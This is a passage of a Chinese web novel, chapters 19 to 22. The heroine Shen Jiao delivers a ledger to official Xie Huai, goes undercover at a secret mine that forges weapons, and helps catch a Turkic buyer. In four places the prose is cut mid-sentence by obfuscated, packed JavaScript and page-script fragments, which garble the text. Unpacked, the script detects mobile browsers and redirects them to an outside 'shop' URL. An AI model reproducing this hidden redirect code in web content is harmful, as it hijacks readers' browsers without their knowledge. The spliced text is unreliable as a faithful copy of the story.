RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858897|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么死的？” 狱卒不知所措道：“方才属下去牢房送饭时，见他一动不动地趴在床上，唤了好几声，都没有反应。便以为他是受不住刑，又晕过去了，便请了狱医来，才发现人已经没气了。” 几人来到牢房，谢淮吩咐人去请仵作过来。 仵作随着狱差走进牢房，对谢淮行了一礼，从验尸箱里取出工具，验完尸：“大人，死者嘴唇指甲发青，眼耳口鼻皆有黑血流出，身上并无外露伤痕，初步判断，应是中毒而亡。” 狱差闻言，屏声息气，自从谢淮以铁面手腕将大理寺里里外外重新整顿了一番，狱中众人便改了以往懒惰怠政的风气，事无大小，皆不敢疏忽职守。如今出了这样的事，只怕看守不力的他们也难逃其咎，登时连大气也不敢出。 谢淮并未一开口就怪罪质问，问道：“今日在狱中谁都与他有过接触？” 衙差暗暗松了口气，回答道：“除了审讯他的人和属下，还有狱医，再就是前来探望的刘夫人和她的护卫。” “派人去刘府，将人和那个护卫带回府衙审问。” 就在几人欲奉命前去时，衙差心急火燎地找到谢淮：“大人，不好了，有人来报，刘府失火了，有个姑娘在衙署要见您。” 沈皎一路上依照妇人告知的路径，将妇人平安地送回了府中。 妇人站在府门前，开口挽留沈皎:“姑娘，既然来了，不如进府喝杯茶再走吧，就当是我报答姑娘方才的恩情。” “那便叨扰夫人了。” 沈皎说完，便让车夫将马车停在角门旁。 “姑娘可让仆从将马车停去后门，待会从后门走离主街会更近些。” 沈皎让车夫将马车牵去后门。刘府两个鎏金大字在残阳下熠熠生辉，气势恢宏的府邸，此刻却大门紧闭，门前更是一个仆人也没有，处处呈露着一股衰颓之气。 妇人推开大门，绕过影壁，带她来到前厅，点燃桌上的灯，亲自给沈皎倒了杯茶。 “姑娘，还请先在此处坐一会儿，喝口温茶，我去取个东西便来。” “好，夫人只管去便是。”沈皎端起手旁的茶，啜了一口，放回桌上。 少顷，妇人捧着一个红色的木漆盒子回到了前厅。 这时，大门从外被大力推开。 沈皎扭头望向门口，一群蒙着面的黑衣人突然杀气腾腾地执刃闯进了庭院。 翠蕊望着庭院中的黑衣人，颤着声音：“姑娘。” 妇人惊慌失措地将手中的盒子塞到沈皎怀里：“姑娘，快从后门坐马车走，还请姑娘将盒子里的东西务必交到谢大人手里。” 沈皎将翠蕊颤抖的手握紧，另一只手接过盒子，虽不知里面是什么东西:“那夫人你呢？我不能丢下你不管。” 妇人神色悲凄，隐隐带着一丝讽意，似是抱了必死之志，催促道“快走，姑娘，他们就是为了盒子里的东西来的，再不走我们就都活不了，你若想真为我报仇，就将里面的东西交给谢大人。” 19. 第 19 章 沈皎觑着逼近的黑衣人，又看了看妇人，咬牙抱着盒子拉起翠蕊迅速朝后门跑去。 为首的黑衣人瞥见沈皎手中的盒子，赶忙命人去追。 沈皎扯着翠蕊顺着抄手游廊一路狂奔，见那些黑衣人追了上来，打开后门坐上马车，急切让车夫前往大理寺。 车夫驾着马车疾速冲出巷子，拐进主街。主街上的喧闹声此起彼伏，黑衣人追到门口停下，不敢明目张胆地追出去，闹出动静，只得离开。 “快回去禀报相爷，东西被人拿走了。” 马车停在大理寺前，沈皎心急火燎下了马车，把黑衣人夜袭刘府的事情告知给衙差，说要求见谢淮。见衙差前去禀告，带人赶往了刘府，绷紧的神经才松缓下来。 谢淮回到府衙，见等他的人是沈皎，微微一怔，走进屋中：“沈姑娘，有何事要见本官？” 沈皎抬起手：“我受人之托，特来将这个盒子交给大人。” 谢淮接过盒子，打开锁，盒子里面放着两本厚厚的册子，取出一本，随手翻开看了几页，见是一本账册，合上册子，掀眸问道:"这盒子是谁交给你的？" 沈皎将偶遇妇人的事情和盘托出。 依照沈皎所说，这账册应是那牙行掌柜的夫人让沈皎转交于他的，牙行的那本账册与这一本是阴阳账册，那些黑衣人去刘府也是为了这本账册。 谢淮将刘府失火的事告诉沈皎，弦外之音便是让沈皎心里有个准备。 萍水相逢，沈皎心底虽伤怀，从先前妇人的表现，以及谢淮的只言片语中，大致也猜到了妇人便是那牙行掌柜的夫人。 “沈姑娘拿走盒子，幕后之人恐不会善罢甘休，这段时间不如先暂且住在国公府，待此案完结后，再回自己的住处也不迟。” 方才在刘府打了照面，只怕那些黑衣人此时在四处寻找她的下落，加上韩丞也派人在暗中找她，当前的住处，的确不安全。 谢淮暗中也在追查她父亲的案子，打探起消息来也会比较容易。住在国公府，百利而无一害。对于谢淮的提议，沈皎毫不犹豫，答应了下来，敛去面上的伤感之色，感激道:“那便多谢大人了。” “明日本官会派人去接沈姑娘。” 谢淮回府后，命福管家安排人收拾客房并采购女子所需的日常用品。 福管家听完，惊得眼珠子险些掉在地上。反应过来，喜不自胜，他家世子总算是开窍了，对男女之事有兴趣了。正要追问那女子的身份家世与喜好，谢淮却头也不回地甩下他，兀自离开了。 见谢淮没有开口的意思，福管家只得作罢。心里仍欣喜不已，这毕竟是谢淮头一次带女子回府，意义非同小可。忙吩咐下人去了，又因府中无丫鬟伺候，遂派人去寻牙婆，特意买几个丫鬟回来服侍。 谢淮虽没说何时会派人来，但沈皎一大早就让翠蕊收拾东西，寻思不会住很久，便只带了几件换洗的衣物。 三人正各自在院中忙碌，敲门声却在此时突然响起“姑娘。” 沈皎放下手中的药碗，见是春桃，忙让翠蕊去开门。 翠蕊打开门，让春桃进来。 春桃走到沈皎面前:“姑娘，昨夜赵晖歇在姨娘屋里，我汲水回去时，看到有个黑衣人前来找赵晖，躲在柱子后听到他们说东西没拿到，大理寺最近在查矿地的事，这段时间得小心一点，还说矿上干杂活的厨娘不小心意外身亡了，得再寻个厨娘送去矿上。” 这黑衣人应与夜闯刘府的那伙人是一伙的。他们在找的，显然是刘氏托付她转交的盒子。赵晖他们为了找这个盒子，不惜大费周章，由此可见盒子里的东西对他们非常重要。当听到赵晖要找厨娘时，沈皎心里顿时有了主意。 “春桃姑娘在赵府要小心。” “我会的。” 春桃不敢多留，说完便离开了。沈皎站在原地望着春桃离开的背影，若有所思。 翠蕊见沈皎一直盯着春桃看，疑惑道:“姑娘，怎么了？春桃是有哪里不对吗？” 沈皎收回视线，将药喝完。说不上来有什么不对的地方，总感觉春桃太过冷静理智，也不像一个丫鬟，反倒身上有一种大户人家姑娘才有的气质。 “没有，或许是我想多了。” 赵晖如此小心紧张这个矿地，矿地里绝对隐藏着什么不可告人的秘密，只能前去一探究竟了。 沈皎让翠蕊找城中消息灵通的牙嫂，探明哪家在招厨娘。 翠蕊一听沈皎的话，便知她要不顾安危，前去冒险。 “姑娘，那矿地不亚于龙潭虎穴，这里不比凉州，危机四伏，万一遇到危险...” 她决定去之时，心中便已想到了平安脱身的计策不入虎穴焉得虎子。若春桃失手没能拿到证据，这便是个机会。 “谢大人应该也在查矿地的下落，找那些失踪的矿工，到时我会让陆林跟着在暗处保护我，在沿途留下标记。若是国公府的人来了，你先和他们回去，随便编个由头，将此事告诉给谢大人。” 沈皎让陆林去了一趟医馆，将药都换成了便于携带的药丸，又买了一些草药。 翠蕊打探到消息，没让两人跟着，沈皎只身去了那牙嫂家。敲门进屋后，道明来意。 “我是接了这差事，实话给你说吧，那地方诡异得很，先前介绍去的两个厨娘，都不明不白地死了，虽给了一大笔赔偿金，但两人相继出事，着实有些邪乎。接了后，今儿早上，思前虑后，便又有些后悔。我看姑娘你年纪也不大，奉劝姑娘，还是不要去了。” “家中近日拮据，我出来做工也是迫不得已，矿地那种地方时常有危险发生，也是人之常情，小心些应该没什么要紧的。”沈皎伸手从袖中取出两吊钱，递上前，特地多给了一吊牙钱。 牙嫂接过钱：“姑娘既执意要去，我也不多劝了。那边催得急，姑娘现在便要跟我前去见东家。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858898|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈皎跟着牙嫂离开。 一夜过去，刘府的火势终于被扑灭，衙差在断瓦残垣中，发现了一具被烧得面目全非的尸体。 衙差抬着尸体回到衙署，对着谢淮禀报：“大人，刘府的火势已经扑灭，府里发现了一具女尸，仵作验完尸，致命伤在胸口，一刀毙命，大抵可以确定，尸体是刘氏。” 谢淮眸子从账册上移开：“刘氏身边那个护卫呢？” “属下问了四周的街坊，府中出事之后，刘氏便将府里的护卫和丫鬟都遣散了。” 随着刘氏前来探望的护卫要么是刘府的下人，要么就是幕后之人为了灭口，派来的杀手。 “派人联系刘氏的亲属，让来衙署认领尸体。” 衙差领命离开后。谢淮望着账册，心存目想。账册清楚地记录着牙行和京中官员的私相授受。数目巨大，几乎令人瞠目结舌。韩丞虽没插手，身为兵部尚书的赵晖和韩庆还有其他人，却没少利用职权在商税里面揩油水，又怎会没孝敬他们的主子。 这本账册仅能证明，兵部和刑部不少人有贪墨之举，若想用来扳倒韩丞，远远不够，只能先隐而不发按下此事，矿地的具体位置还未找到，此时抓人，势必会打草惊蛇。 谢淮正思索账册与矿地之间的关联，门外衙差突然来报:“大人，国公府来人，说有急事请您回去一趟。” “知道了。” 衙差退下后，谢淮将账册放回盒子，放进暗格，转身出了屋子。 翠蕊跟着前来接人的阿城来到国公府，忧心如焚地在前厅等着谢淮回来。她在心中斟字酌句，想着待会儿见到谢淮时的由头。瞥到门口的马车，见谢淮进来，红着眼眶哭诉：“谢大人，还请您救救我家姑娘，我家姑娘被一个黑衣人带走了。” 谢淮神色一如往常，不疑有他：“带去了什么地方？” “不知道，早上陆侍卫去忙别的事，我和我家姑娘出去买药，回来的时候遇到一个黑衣人，那黑衣人说矿地上就缺我们家姑娘这样的人，打晕我，抓着我家姑娘就走了。” 谢淮当即让阿城集结暗卫，一行人出了城，却似无头苍蝇一般，站在城门外。 阿城眺望着远处连绵起伏的山峦:“世子，我们该往哪里追？” 谢淮正垂头苦思，城外的一个茶水铺掌柜打量着几人，拿起桌上的一个小纸包走上前询问。 “敢问可是谢公子可是在找一个穿着青色衣服瘦瘦的姑娘？” 谢淮收起思绪，迅速抬头问道：“掌柜的可见过那姑娘？” 掌柜见这次终于问对人了，道：“见过的，那姑娘之前来我这里讨过水喝，偷偷把这个东西和银钱塞给我，让我在城外交给一位姓谢的公子，跟着几个人往东边去了。” 东边应该就是矿地所在的方向了，谢淮接过纸包打开，里面是一棵紫色的药草，明白沈皎的用意后，包好放入袖间，吩咐暗卫朝东边追去。 20. 第 20 章 沈皎跟着黑衣人出了城七弯八拐，进入一片茂密的山林，山地凹凸不平，走了三四个时辰，脚底便似着了火一般疼了起来。她扶住身旁的树干，借着休憩的空隙，眺目远望，见仍看不到出口，气咻咻地问道：“几位大哥，我们还得在林子里面走多久？” “到了地方自然会告诉你。”其中的一个黑衣人瞥了沈皎一眼，语气冷冽。 歇了会儿，缓过一口气。强忍脚上的疼痛，她只得继续随着几人在山林间穿梭，又走了小半个钟头。耳畔响起一阵沉重的敲击声，一片开阔的平川出现在眼前。 到了矿地，她们几人一出现，所有的矿工都停下手中的动作，好奇地朝这边望了过来。 “看什么看，还不干活，再看小心刺瞎你的眼。”一个衣衫褴褛肤色黝黑的矿工忍不住多看了几眼，被面前监工的黑衣人恰巧瞧见，呵斥了一通。 “是，我这就去，这就去。”矿工吓得身子抖了抖，惊恐万状地俯身拉起地上装着矿石的车跑开了。 没人再敢往这边看了，纷纷胆战心惊地埋头做工，挪运着矿石。 沈皎气吁吁地敛住步子，抬头窥见了矿地的全貌，矿地足足有一个操练场一般大，周围被崇山峻岭环绕，每两步就有两个黑衣人严密把守。 黑衣人将她带到一个山洞，冷声警告她:“进去吧，在这里注意自己的身份，不该说的别说，不该问的别问。” 山洞中架着一口大锅，旁边撑起的木架上堆满大量的蔬菜米面、锅碗瓢盆等物。正在洗菜的妇人见她出现在洞口，停下手中的动作，畏惧地看着她身旁的黑衣人，见到黑衣人似是见到了什么牛鬼蛇神，待黑衣人离去后，才放缓了神色。门口有两个黑衣人在看守，她走上前，挽起袖子，俯下身，和妇人蹲在木盆前洗菜。 沈皎先前在凉州时，突厥来犯的时候，在城中见过庖厨和厨娘做饭，大致的流程还记得。 与妇人搭伙做好饭，抬出去，摆在山洞前的木桌上，须臾，矿工们接二连三地走过来。 黑衣人望着锅里的饭，眼中闪过几分警惕：“你们先吃一口。” 见黑衣人如此谨慎，沈皎和妇人拿起碗舀了一勺饭，当着所有人的面吃了一口，证明她们没在饭里做手脚。 见她们咽下饭，黑衣人才消除戒心，与矿工们一道用饭。 清洗完锅碗瓢盆，天色已晚，妇人点燃蜡烛带她到山洞里面休息，休息的地方悬挂着一块长方形灰布，恰好遮挡住了外面窥看的视线，后面放置着一张简陋的木床。但好在地方足够大，妇人用蜡烛引燃床头凳子上的煤油灯，吹灭蜡烛，问道：“姑娘，睡外间还是里间？” 妇人虽挽着发髻，面色黄干黑廋，仔细瞧，实际年岁和她差不了多少，做事却十分沉稳干练。沈皎夜间总是睡得不安稳，时常梦魇起夜，压低声音：“我睡外间就好。” 褪下外衣，在床上躺下，她虽成功地进到了矿地里面，但这里戒备十分森严，到处都有人看守。要想弄清赵晖采这些矿石的目的，只能从矿上的人身上下手。她刚来与妇人还不熟稔，贸然便打探消息，只怕会适得其反。 山中的夜里比京中还要寒凉许多，沈皎阖上眼睡了一会，就有些抵挡不住周围蔓延过来的寒意。山洞外隐隐约约传来交谈的声音，似是黑衣人在换防。她扭头见妇人呼吸平稳，已经睡熟，轻轻地伸手掀开被子坐起身，端起桌上的水，取出药吞咽下肚。 尽管她刻意放轻动作，还是吵醒了妇人，妇人起了身，看到桌上的药丸，压下声音关心地问道：“姑娘，这是怎么了？” “山里夜里比较寒冷，有些难以适应，旧疾犯了。” “姑娘若不嫌弃，我们可以同盖一被。” 沈皎喝了药，身子暖了起来。两人盖同一床被子，的确能御些寒。这是同妇人增进关系的好契机，她放下碗，道完谢，任由妇人将自己的被子叠在自己的身上：“还不知道夫人怎么称呼？” “叫我寒娘便好，姑娘怎么称呼？” 沈皎同寒娘一道铺好被子，说出自己的化名“夫人叫我阿钥便好。” 两人打开话匣子，都没了睡意，索性躺在被子里面悄悄聊起了天。攀谈一番，寒娘觉得与沈皎十分投缘，念及她第一天来这里，似是想到什么，颤声叮嘱沈皎：“阿钥，记得在这里一定要有眼色些，千万别和那些看守的人发生冲突，也别说要回家的话，问不该问的事。” 寒娘陡然转换语气，声音变得郑重起来，还带着一丝惧怕。 沈皎登时想起牙嫂先前说的那两个不明不白死去的厨娘，心底有了答案。先前在洞外，她看到来领饭的矿工皆着布衣都是穷苦人家的百姓，这些黑衣人，在工期结束后，大概压根没想让这些矿工回去，那两个厨娘应是思家心切想归家，与外面看守的黑衣人起了冲突，所以才丢了性命。 “我知道了，多谢寒娘告知。” 气氛凝滞起来，两人没再说话，沈皎望向洞外，这时想必城门口的掌柜已经将布包交给了谢淮，他循着标记，在陆林的接应下，找到了这里。 山林中夜间雾气弥漫，难以辨物。谢淮带着人，边走边在林中的树上刻标记，以防回去迷路。他们走了将近一下午，前方的路似乎依然没有尽头。 “世子，天黑了，地上的标记看不见了，再往前走，可能会迷失方向。”阿城道。 谢淮下令：“在原地休整，等天亮了再继续往前走。” 这时，树林中传来一阵脚步声，众人手纷纷按在刀柄上，戒备地望向前方，摆出一副迎敌的姿态。 “谢大人，是我。”陆林从雾气中走出来，对着谢淮道。 待那人走近，谢淮看清陆林的模样，想起陆林是沈皎身旁的护卫，命众人放下武器。 “陆公子怎会在此处？” 听到谢淮略带探究的语气，陆林道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858899|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我回到住处后，听到翠蕊说我家姑娘被几个黑衣人带走了，追上他们一路跟来了这里，发现不远处是一块矿地，见他们人多势众，不敢打草惊蛇，便悄悄躲藏在附近，方才听到有人说话，过来一看，才看到是谢大人。” 谢淮静默半晌没说话，陆林也不知是信了他这番措辞还是没有。 “你们埋伏在四周，先不要轻举妄动。” 几息后，谢淮开口了，这里有这么多黑衣人看守，仅凭他们这些人，根本无法与之抗衡。这些黑衣人都是培养出来的死士，眼下抓住这些黑衣人不是最重要的，最重要的是要弄清楚，幕后之人制造兵器的目的是什么，制造的这些兵器又去了哪里。 阿城猜到谢淮是想潜入矿地去冒险，道：“世子，还是我带几个人同您前去吧，您一个人去太危险了。” 谢淮同意了，让其他的暗卫潜伏在原地待命，抬头看向陆林：“陆公子可要与我们同去？” 沈皎在里面，陆林自是不可能袖手旁观：“自然，天还未黑的时候我在四周转了一圈，发现从右边往前走，上面是一处悬崖，底下时不时有矿工推着土车从那里经过。我们可以杀了看守的人扮成死士从哪里进去。” “那今夜便先在此处休息一晚，明天早上再做打算。” 次日天刚破晓，谢淮便带着陆林几人，提前隐伏在矿工必经之处，待矿工在黑衣人的监视下，从面前走过，身形一闪，捂住几人的嘴，用剑利落干脆地割开他们的喉咙，将几人拖进了树林中。 几名矿工见状，扔下手中的推车，吓得魂不附体。 谢淮适时出声“几位老乡别怕，我们是大理寺的人，接到王浮家属报案，说他失踪了，是来此查案的。” 几个矿工在听到王浮的名字后，才不再害怕。 “阿玥，昨夜是不是没睡好？”寒娘望向沈皎，见沈皎有些没精打采，低声道。 沈皎强撑着精神淘着米，眼下微微泛着两道乌青，答道：“有些。” “待会儿，洗完碗后，也就没什么事了，可以稍微去后面躺一会儿。” 外面锻造兵器的锻打声震耳欲聋，根本无法入睡，但沈皎心想，睡总比不睡好。洗完碗，她担心自己会睡过头，便嘱咐芸娘待会儿叫醒她，随后尽量忽视那些扰人的声音，脱鞋上了床。迷迷糊糊中，一阵轰隆声猛然在耳畔炸开，她心跳停了一瞬，睁开眼睛，慌忙从床上坐起身，问道：“寒娘，外面发生什么事了？” 寒娘见门口看守的黑衣人急匆匆离开，也不太能确定外面发生了什么。但先前矿塌时，也是这般声响，臆测道："好像是矿塌了。" 沈皎靸上鞋掀开布帘，走向洞口，矿上此时人仰马翻，矿工们站在不远处的矿洞前，被黑衣人持刀团团围住。 “大人，下去的几个人都埋在下面了。”一个矿工诚惶诚恐地说道。 “带他们去另一个矿洞，工期不能延误。” 21. 第 21 章 为首的黑衣人命身旁的人拿起工具清理矿洞里的积土。 沈皎闻言，没想到矿地里不止打了一个矿洞。 “姑娘，可否进去讨口水喝。”一个矿工放下推车，走到她面前。 她收回思绪，目光落在那张黢黑，沾满矿土的脸上，听着来人的声音，似是有些熟悉。 “姑娘不记得我了？那日在棺材铺...” 经面前的人一提醒，沈皎才想了起来。 她正要开口，寒娘从外面走了进来：“阿玥，这位是？” 黑衣人都在外忙着清理积土，一时回不来，暂时无暇看守她们。面前的人在矿地做工，或许知道里面的一些秘密。这是个打探消息的良机，沈皎不想错过：“寒娘，这位是我的远房表哥，不巧在这里遇到了他，能否让我同他单独聊一会儿？” 寒娘叮嘱道：“千万别说太久了，看守的人估计待会儿就要回来了，我去外面看着。” “多谢寒娘。” “姑娘，这里很危险。我去倒矿石的时候发现了一条能逃出去的蹊径。今夜子时，姑娘寻个借口从这里出来，可以从那里逃出去。” “我暂时还不能走，大哥，你可知制造的这些兵器都运去了何处？” “我也不清楚，但是曾见到过黑衣人每个月便会带一个客商打扮的人来矿上。” 客商？沈皎皱起眉，呼吸骤然一滞：“那客商长什么样子？” “高颧骨、宽脸、大眼睛。虽然穿着大周的服饰，相貌却不似大周人。” 听着描述，似是突厥人的长相，赵晖竟然和突厥人私下有往来。沈皎深皱着眉，按捺住心底的惊涛骇浪：“大哥可知道那个客商何时还会来？” “恰好在明晚。” 沈皎乘便问清楚各个矿洞的具体位置，在心中暗暗记下。陆林想必和谢淮已经找到了这里，万事俱备只欠东风，这消息来得十分及时：“既知这里危险重重，大哥，又为何不逃出去？” “不是我不想走，先前为父亲办理丧事，还欠着乡里的债，想等领了工钱再走。” 沈皎提醒道：“大哥这两日务必保护好自己。” “好，姑娘一定要注意安全，若遇到难处，尽管来寻我。” 山洞内重归平静。夜间，陆林出现在洞口，支走门口看守的两个黑衣人，带着沈皎来到了一处无人之地：“属下拜见姑娘。” 沈皎开门见山，悄声道：“我打听到有一个客商明晚会来矿上交易，这个客商很有可能是突厥人。 陆林没想到突厥人竟会渗入到大周来，握紧手中的剑，冷声道：“姑娘，你是说赵晖通敌叛国，与突厥人私下有往来？” “大抵能够确定那个客商就是突厥人，你将此事告知谢世子，请他务必抓住那个客商，严加审问，应该能问出点东西来。突厥和大周常年在凉州摩擦不断，大周百姓遭其荼毒多年，这个矿地制造了这么多兵器，若尽都卖给了突厥，那他们真是禽兽不如。” 陆林听出沈皎话中的气愤，心底也同样升起一股怒意。那些矿工说，这个矿挖了有些日子了，期间不知有多少兵器已然被交易了出去。眼下也无法断定，他们还有没有其他的矿地。 “是，姑娘，我知道了，您一切要小心。” 密谈完，陆林送沈皎回到山洞。 寒娘战战兢兢地望着陆林，额头上出了一层冷汗。陆林离开后，她看到沈皎平安归来，才走上前，担忧地问：“阿玥，你怎么样，没事吧？” “没事，只是被叫去问了几句话而已。” 寒娘放下心:“没事便好。” 矿工们源源不断地从矿洞内运送采好的砷青铜出来。 谢淮混迹在黑衣人中，若有所思地望着面前的一车车矿石。 陆林回到矿地，示意谢淮同他走向一旁的树林。 谢淮思绪回笼，依言照做。 “世子，我打听到今夜会有一个客商会来矿地，收购这批兵器，那个客商似是突厥人，若抓住他，便可以知道他们把这批兵器都运去了什么地方，暗中在谋划些什么。” 谢淮听完消息后，问道:“消息可属实？” “可信的几率有九成。” “今夜你先和阿城带人埋伏在四周，等客商一出现，便派人将他和这些黑衣人一举拿下。” “是。” 天渐渐擦黑儿。沈皎端着木盆出去倒水之时，听到两个黑衣人在树林中密谈，屏气凝神，悄悄躲在树后偷听：“首领，矿地内似是有人混进来了，今早有矿工来告发，矿上有好几个人不见了，但晌午那矿工又改了口，清点人数时，也发现并未少人。” “待会儿博那大人派来的人要来，现在兴师动众地去查核已经来不及了。先在附近加强人手看管，派人守在机关前，以防万一，若真有人混进来了，当场射杀，不能让任何人破坏这次的交易。” 矿洞内竟还设置了机关。交易马上就要开始了，她得想办法将这个消息告诉给陆林他们。沈皎在两人离开后，抓起木盆便往回飞奔。 她回到山洞，寒娘见她神色慌张，连忙问道:“你这是怎么了？阿钥。” 箭在弦上，她又势单力薄：“寒娘，你想不想从这里出去。” 寒娘自是想离开，只是那两个厨娘的凄惨的死状至今历历在目，让她心有余悸，踌躇道:可是外面有看守的人，他们手中又有兵器，单凭我们两个，根本无法从这里逃出去，一旦被他们发现，便只有死。” 沈皎言简意赅道：“寒娘，事到如今，我也不瞒你了。我和大理寺的谢大人来此，是来查案的。方才我在树林里听到他们说，发现矿地有人混进来，要用机关对谢大人他们不利，还请寒娘帮帮我。” 寒娘没想到沈皎的身份并不简单，有把握能从这里逃出去，不再惶遽：“那阿玥，我该怎么帮你？” 沈皎见寒娘愿意帮她，矿地上前后左右总共有四个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858900|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矿洞，她无法确定黑衣人和客商在哪里交易。距天黑还有些时间，待会儿她们便要似往常一样去给锻工送水。沈皎让寒娘先去东边和北边的两个矿洞探查，若看到今日来找过她的那个黑衣人，便将这个消息告诉给他，自己则去另外两个矿洞。 寒娘点点头：“好，我知道了。” 沈皎和寒娘先后抬起两个木桶，放到两辆推车上，开始分头行动。 没发现几人的身影，却发觉这边矿洞附近看守的人似是比平时少了许多，给最后一个锻工舀完水，快速前往另一个矿洞。 矿洞前壁垒森严，黑衣人将洞口守得密不透风。 黑衣人看见沈皎推着车过来，横剑拦住沈皎的步伐，冷着脸：“将车放下，快走。” 沈皎放下车离开。心知交易的地点大概就是这里，她假装转身离开，等到身后那一股凌厉的目光消失，走了一段路后，又悄悄从山林里折返回来，躲到了一旁的树后。 寒娘在这边的矿洞看到了陆林，保持镇定，走上前：“这位公子，可否借一步说话。” 几人通过打探，便打算在这里守株待兔。陆林认出寒娘是与沈皎在一处的厨娘，他跟着寒娘走到一旁：“公子，阿玥让我告诉你，这些人已经发现有人混进来了，在矿洞内设置了机关，让你们要小心。” 之前在山林，问完话，谢淮便让暗卫将那几个矿工带出树林，放他们归家了。矿工虽发现有人失踪并上报，但被暗卫听到，迫于威吓，后又改了口。想来已让黑衣人起了疑心，他们今夜为保交易万无一失，怕是改了交易地点。 “夫人可知我家姑娘现在在何处？”陆林担心沈皎的安危，问道。 “阿玥去了那边另外两个矿洞。” “多谢夫人。” 陆林道完谢，折返回去，俯身在谢淮耳旁低语几句。 暗卫走过来，对着谢淮道：“旁边的矿洞一直到现在也没有什么动静。” 夜阑人静，锻工仍在里面锻造兵器，这边的矿洞也是如此。谢淮便明白了如陆林所说，黑衣人半道更换了交易地点。命阿城和陆林去了南边的矿洞，自己则带人赶往另一处。 沈皎藏在树林中，窥伺着山洞前的情况。一会儿后，几个黑衣人卫护着一个高个子穿着华服的人走进洞内。她借着月色，看清了那人的脸，那人用不太流利的大周官话和身旁的黑衣人交流，是突厥人无疑。 客商与黑衣人进了洞内商议事情，其他的人开始将锻造好的武器纷纷装进箱子用布遮盖起来伪装成货物。 沈皎看着两人离开，垂下眸子，素来平静如水的眸子里泛起一股凛冽的冷意。突厥虽和大周这两年签了止战合约，但贼心不死，没准哪天便会撕毁合约卷土重来。大周明文规定，私下铸造兵器已是死罪，赵晖一个兵部尚书，不但有恃无恐，还敢与突厥人私下有交易往来，卖兵器给突厥人。若没有韩丞在背后撑腰，他就算再怎么贪财也不敢如此冒天下之大不韪。 22. 第 22 章 谢淮一直没有带人出现，这批兵器要是被运出去，后果不堪设想，正当她一筹莫展，身后传来一阵急促的脚步声。 她猛地扭头望去，与为首的人四目相对。来人穿着一身黑衣，薄唇紧抿，整个人仿佛与漆黑的夜色融为了一体，清冷的面容在月光下，较以往平添了几分肃杀之气。沉黑的目光落在她的脸上，认出她，才稍微变得柔和了些。 “谢大人，方才那客商与黑衣人到矿洞里面去了，只能等他们出来，再将他们一举拿下。” 谢淮与沈皎的想法不谋而合，矿洞内设置了机关，只要他们出现在洞口，立即就会被射成筛子。这两日他已经带人将矿地的地形摸了个清楚，矿洞后面是深不见底的悬崖，要离开，此处是必经之地，他派暗卫通知另一边的阿城和陆林，带人去矿地拿下那些黑衣人。 一行人匿迹潜形埋伏在树林中，等了将近一个时辰，客商还未出现。万籁俱寂中，从身后猛地传来一声压抑着的咳嗽声，尽管那声音被刻意压低，几乎微不可闻，谢淮还是敏锐地察觉到了。他循声望去，沈皎的面色陡然间变得十分苍白，白皙的额头上也冒出了一层汗珠。 寒风侵肌，谢淮供职大理寺卿之前，随着定国公在战场上南征北战，身体素质远胜于常人，倒尚能忍受，身旁的暗卫也都是昔日在军中历练过的人，这点寒对他们来说不算什么。沈皎是一个弱女子，自是承受不住。暗卫身上虽随身带着火折子，但这时笼火取暖，定会被察觉。谢淮语气带着一丝歉意:“情况特殊，今夜只能辛苦沈姑娘了。” 客商不知何时会出现。沈皎扶着树干捂住嘴不让自己再咳出声，撑起精神，收回手，忙拿出袖中的药，倒出两粒，吞入腹中，略略缓了缓，迎上谢淮歉疚的目光，虚弱道：“谢大人不必管我，眼下抓住那个客商才是最重要的。” 话虽这么说。沈皎还是太高估自己的身体了，原先和寒娘在山洞里，还能好受些，外面的山风没了山体的遮挡，吹到人身上，渗入四肢百骸，连骨头缝里也发着寒。药丸只能缓解她身上的不适，起效还得一段时间。 谢淮见沈皎带了药，扭头屏气凝神，留意着四周的动静，耳畔传来车轱辘压过山路的辚辚声，手指暗暗用力，握紧手中的剑柄。 交易谈妥后，黑衣人做了万全准备。即便今夜并未有人破坏交易，为保万无一失，依然派出了大批人手卫护客商和货物出山。 声音渐渐逼近，谢淮留下两个暗卫保护沈皎，带着其余的暗卫起身冲出树林阻截住黑衣人和客商的去路。 黑衣人见状，纷纷拔出手中的剑，护在客商和货物前，严阵以待。 谢淮冷声下令：“拿下他们。” 